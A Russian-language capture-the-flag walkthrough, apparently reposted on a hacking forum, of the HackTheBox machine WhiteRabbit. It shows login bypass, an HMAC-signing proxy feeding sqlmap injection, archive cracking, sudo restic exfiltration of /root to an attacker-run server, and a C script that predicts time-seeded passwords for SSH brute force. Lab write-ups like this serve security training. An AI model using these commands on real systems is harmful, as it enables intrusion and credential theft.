Достигнут лимит просмотров для гостей
  • Вы набрали максимальное разрешенное количество просмотров для гостей
  • Пожалуйста, зарегистрируйтесь ниже, чтобы снять это ограничение
  • [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Атакуем сервер через систему бэкапов restic

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,517
Розыгрыши
0
Реакции
888
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как через restic можно выйти из окружения Docker. Но прежде скомпрометируем систему Uptime Kuma и получим доступ к фреймворку Gophish. Затем проэксплуатируем сложную SQL-инъекцию, чтобы узнать секрет restic. В конце используем логику генератора паролей для получения учетки админа.
Наша конечная цель — получение прав суперпользователя на машине WhiteRabbit с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — «безумный».

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.63 whiterabbit.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел три открытых порта:

  • порты 22 и 2222 — служба OpenSSH 9.6p1;
  • 80 — веб‑сервер Caddy.
Посмотрим, что нам покажет веб‑сервер.

Для просмотра ссылки Войди или Зарегистрируйся

Точка входа​

На сайте ничего интересного найти не удалось, поэтому приступим к сканированию.

Справка: сканирование веба c ffuf​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войди или Зарегистрируйся. При запуске указываем следующие параметры:
  • -u — URL;
  • -H — HTTP-заголовок;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков.
Место перебора помечается словом FUZZ.
Задаем все параметры и начинаем сканирование:

ffuf -u Для просмотра ссылки Войди или Зарегистрируйся -H 'Host: FUZZ.whiterabbit.htb' -w subdomains-top1million-110000.txt -t 128
Для просмотра ссылки Войди или Зарегистрируйся
В вывод попали все варианты из списка, поэтому стоит включить фильтр по размеру ответа (параметр -fs).

ffuf -u Для просмотра ссылки Войди или Зарегистрируйся -H 'Host: FUZZ.whiterabbit.htb' -w ~/tools/wordlists/Content/subdomains-top1million-110000.txt -t 128 -fs 0
Для просмотра ссылки Войди или Зарегистрируйся
Находим новый поддомен и обновляем запись в /etc/hosts.

10.10.11.63 whiterabbit.htb status.whiterabbit.htb
На новом сайте нас встречает страница авторизации Uptime Kuma.

Для просмотра ссылки Войди или Зарегистрируйся
Данные вроде admin:admin не подошли, при этом в Burp History нет ни одного запроса авторизации. Зато они есть в истории WebSockets.

Для просмотра ссылки Войди или Зарегистрируйся
Сервер в ответе присылает результат авторизации и сообщение.

Для просмотра ссылки Войди или Зарегистрируйся
Активируем перехватчик запросов и ответов в Burp Proxy, снова попробуем авторизоваться, но в этот раз отловим и изменим ответ сервера. Меняем значение параметра ok на true и получаем доступ к панели Uptime Kuma.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Точка опоры​

Читая про Uptime Kuma на GitHub, находим интересный эндпоинт /status, через который можно перебрать активные проекты.

Для просмотра ссылки Войди или Зарегистрируйся
Для сканирования каталогов проектов я буду использовать Для просмотра ссылки Войди или Зарегистрируйся.

При запуске укажем такие параметры:

  • -u — URL;
  • -d — глубина сканирования;
  • -t — количество потоков;
  • -w — словарь (снова из набора Для просмотра ссылки Войди или Зарегистрируйся).
feroxbuster -u Для просмотра ссылки Войди или Зарегистрируйся -d 1 -t 128 -w directory_2.3_medium_lowercase.txt
Для просмотра ссылки Войди или Зарегистрируйся
Находим страницу temp, на ней — четыре проекта.

Для просмотра ссылки Войди или Зарегистрируйся
Открываем страницы проектов и видим два новых сайта: a668910b5514e.whiterabbit.htb и ddb09a8558c9.whiterabbit.htb. Обновляем запись в файле /etc/hosts и открываем адреса через браузер. На первом нас встречает вики, а на втором панель авторизации фреймворка Для просмотра ссылки Войди или Зарегистрируйся.

10.10.11.63 whiterabbit.htb status.whiterabbit.htb a668910b5514e.whiterabbit.htb ddb09a8558c9.whiterabbit.htb
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
В вики находим запрос к Gophish на еще один домен — 28efa8f7df.whiterabbit.htb, причем там же приложен файл JSON, в котором лежит секрет для подписи запросов.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Найденный домен также добавим в файл /etc/hosts.

10.10.11.63 whiterabbit.htb status.whiterabbit.htb a668910b5514e.whiterabbit.htb ddb09a8558c9.whiterabbit.htb 28efa8f7df.whiterabbit.htb

SQL-инъекция​

В скачанном JSON отметим SQL‑запросы, куда подставляется параметр email из запроса к Gophish.

Для просмотра ссылки Войди или Зарегистрируйся
Попробуем воспользоваться SQL-инъекцией: напишем небольшой прокси‑сервер, который будет изменять запросы sqlmap с учетом цифровой подписи. Для этого используем mitmproxy со следующим файлом.

import hmac
import hashlib
import json

from mitmproxy import http

def request(r: http.HTTPFlow) -> None:
if r.request.method == "POST" and "application/json" in r.request.headers.get("Content-Type", ""):
try:
text = r.request.get_text()
json_text = json.loads(text)
json_body = json.dumps(json_text, separators=(',', ':'))
sign = hmac.new(b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS", json_body.encode(), hashlib.sha256).hexdigest()
r.request.headers["x-gophish-signature"] = f"sha256={sign}"
except Exception as e:
print(f"Error sign: {e}")
mitmproxy -s proxy.py --listen-port 8000
Прокси‑сервер запущен на порте 8000. Запускаем Nmap и ждем, пока он подберет нагрузку. Используем параметр --dbs, чтобы получить список баз данных.

sqlmap -u 'Для просмотра ссылки Войди или Зарегистрируйся' --method POST --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers='Content-Type: application/json' --proxy=Для просмотра ссылки Войди или Зарегистрируйся --dbs --batch --level 5 --risk 3
Для просмотра ссылки Войди или Зарегистрируйся
Когда sqlmap подбирает нагрузку, он кеширует ее и использует дальше для эксплуатации. Теперь запросим все таблицы (параметр --tables) из базы данных temp (параметр -D).

sqlmap -u 'Для просмотра ссылки Войди или Зарегистрируйся' --method POST --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers='Content-Type: application/json' --proxy=Для просмотра ссылки Войди или Зарегистрируйся -D temp --tables --batch --level 5 --risk 3
Для просмотра ссылки Войди или Зарегистрируйся
В базе данных temp всего одна таблица — command_log. Получим из нее все записи (параметр --dump).

sqlmap -u 'Для просмотра ссылки Войди или Зарегистрируйся' --method POST --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers='Content-Type: application/json' --proxy=Для просмотра ссылки Войди или Зарегистрируйся -D temp -T command_log --dump --batch --level 5 --risk 3
Для просмотра ссылки Войди или Зарегистрируйся
В базе сохранены команды, а также время их ввода. В одной из команд находим пароль для сервиса restic.


Restic​

Restic — это сервис для резервного копирования. Воспользуемся найденным паролем, подключимся к серверу restic и посмотрим существующие бэкапы. Добавим сервер restic в файл /etc/hosts.

10.10.11.63 whiterabbit.htb status.whiterabbit.htb a668910b5514e.whiterabbit.htb ddb09a8558c9.whiterabbit.htb 28efa8f7df.whiterabbit.htb 75951e6ff.whiterabbit.htb
Теперь сохраним пароль в файл .restic_passwd и запросим резервные копии.

echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
chmod 600 .restic_passwd

RESTIC_REPOSITORY="rest:Для просмотра ссылки Войди или Зарегистрируйся" RESTIC_PASSWORD_FILE=".restic_passwd" restic snapshots
Для просмотра ссылки Войди или Зарегистрируйся
Нам доступен всего один бэкап, загрузим его в локальный каталог restdata.

RESTIC_REPOSITORY="rest:Для просмотра ссылки Войди или Зарегистрируйся" RESTIC_PASSWORD_FILE=".restic_passwd" restic restore latest --target ./restdata
Для просмотра ссылки Войди или Зарегистрируйся
В каталоге видим только один файл — архив 7-Zip.

Для просмотра ссылки Войди или Зарегистрируйся
Архив запаролен, поэтому сначала с помощью скрипта Для просмотра ссылки Войди или Зарегистрируйся получим хеш пароля архива для брута.

Для просмотра ссылки Войди или Зарегистрируйся
Затем используем Для просмотра ссылки Войди или Зарегистрируйся для подбора пароля.

john --wordlist=rockyou.txt 7z.hash
Для просмотра ссылки Войди или Зарегистрируйся
Открываем архив с полученным паролем и находим в нем приватный ключ SSH пользователя bob. Так мы получаем сессию на сервере.

ssh -i bob bob@10.10.11.63 -p2222
Для просмотра ссылки Войди или Зарегистрируйся

Продвижение​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование.

В выводе будет много информации, но мы зацепимся за настройки sudoers. Вывод LinPEAS показывает, что пользователь bob может выполнить команду restic от имени привилегированного пользователя.

Для просмотра ссылки Войди или Зарегистрируйся
В базе Для просмотра ссылки Войди или Зарегистрируйся есть инструкция по использованию sudo restic для повышения привилегий.

Для просмотра ссылки Войди или Зарегистрируйся
Мы можем выполнить бэкап любого каталога для получения любых важных файлов. Для этого сначала нужно установить Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся
Скачиваем rest-server на свою машину и запускаем листенер без аутентификации.

./rest-server --listen ":5678" --no-auth
Для просмотра ссылки Войди или Зарегистрируйся
Теперь создаем хранилище с именем backup_name.

restic init -r "rest:Для просмотра ссылки Войди или Зарегистрируйся"
Для просмотра ссылки Войди или Зарегистрируйся
На удаленном хосте копируем содержимое каталога /root в созданное хранилище.

sudo restic backup -r rest:Для просмотра ссылки Войди или Зарегистрируйся /root
Для просмотра ссылки Войди или Зарегистрируйся
На своем хосте восстанавливаем последнюю резервную копию в каталог restroot.

restic restore -r "rest:Для просмотра ссылки Войди или Зарегистрируйся" latest --target ./restroot
Для просмотра ссылки Войди или Зарегистрируйся
Проверяем содержимое скопированного домашнего каталога root, где есть ключи SSH пользователя morpheus.

Для просмотра ссылки Войди или Зарегистрируйся
С приватным ключом подключаемся к SSH и забираем первый флаг.

Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​

Мы вышли из Docker и попали в основную систему, так что снова собираем данные с помощью LinPEAS. В каталоге /opt находим проект neo-password-generator с одноименным исполняемым файлом.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Скачиваем файл на свою машину и открываем в любом удобном декомпиляторе. Я использую IDA Pro с плагином Hex-Rays.

scp -i morpheus morpheus@10.10.11.63:/opt/neo-password-generator/neo-password-generator ../../
В функции main вызывается generate_password (строка 8), и ей передается текущее время в миллисекундах.

Для просмотра ссылки Войди или Зарегистрируйся
В функции generate_password в зависимости от переданного времени генерируется псевдослучайное число. Оно определяет, какой символ будет выбран из статической строки. Так получается 20-символьный пароль.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
На этапе SQL-инъекции мы получили команды, сохраненные в базе. Среди них есть вызов генератора паролей с указанием времени выполнения. Используем это время, чтобы узнать количество секунд.

date -d "2024-08-30 14:40:42" +%s
Для просмотра ссылки Войди или Зарегистрируйся
Напишем простую программу, которая сгенерирует небольшой словарь (начиная с указанной даты) по тому же алгоритму, что и генератор на удаленном хосте.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
char aAbcdefghijklmn[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for (int c = 0; c < 2000; c++) {
unsigned int a1 = 1725028842 * 1000 + c;
srand(a1);

char s[21];
for ( int i = 0; i <= 19; ++i )
s = aAbcdefghijklmn[rand() % 62];
s[20] = 0;

printf("%s\n", s);
}
return 0;
}
Затем запускаем подбор паролей по полученному словарю и находим валидный пароль.

nxc ssh 10.10.11.63 -u neo -p pass.txt
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Пользователь neo входит в группу sudo, а значит, мы без труда получаем права root.

Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу